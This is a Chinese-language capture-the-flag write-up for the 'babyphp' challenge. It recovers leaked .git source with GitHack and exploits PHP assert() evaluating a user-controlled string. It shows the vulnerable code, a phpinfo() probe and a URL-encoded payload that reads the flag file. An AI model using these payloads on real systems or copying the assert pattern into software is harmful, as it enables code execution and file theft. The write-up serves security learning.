babyphp——61dctf{8e_careful_when_us1ng_ass4rt}
描述:
http://web.jarvisoj.com:32798/
昨兒做夢的時候我在夢里寫了這個網(wǎng)站,印象中我用了這些東西:PHP,GIT,Bootstrap
分析:
- 猜測是git文件泄露但是不知道怎么找!掃描了一下目錄看到http://web.jarvisoj.com:32798/.git,自己是肯定搞不定的還好我們有李姐姐!
git clone https://github.com/lijiejie/GitHack
python GitHack.py http://web.jarvisoj.com:32798/.git/
注意前面一定要有http,結(jié)尾也必須加上/。下下來后我們cat index.php看到:
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
分析代碼可以得到:
- 需要傳個page參數(shù)
- file = "templates/" . $page . ".php"
- 通過assert函數(shù)進(jìn)行了兩次友好()的判斷回顯,如果不符合假定,就執(zhí)行or后面的語句
- 好的卡住了!搜了下發(fā)現(xiàn)這里的考點(diǎn)是assert,
bool assert(mixed $assertion[,string $description]),如果assertion是字符串,他會被assert()當(dāng)做php代碼執(zhí)行。
會!執(zhí)!行!??!
也是……人家都判斷strpos和file_exists了,為什么不能執(zhí)行phpinfo()!大家都是php函數(shù),有誰比誰高貴()
思路是通過可控變量file傳入惡意參數(shù),構(gòu)造閉合 file_exists(),使assert()執(zhí)行惡意代碼。于是我們試探性的……
') or phpinfo();# ——即變成file_exists('') or phpinfo();# ,結(jié)果為執(zhí)行phpinfo(),注意要url編碼,本處為了方便閱讀,以編碼前顯示-
') or print_r(file_get_contents('templates/flag.php');# ——然后在源代碼里(臨門一腳不要被坑了)
即最終payload:?page=')%20or%20print_r(file_get_contents('templates%2fflag.php'))%3b%23

image.png
總結(jié)
今天的兩個點(diǎn)我都不會!但是現(xiàn)在我都會了!謝謝李姐姐!()
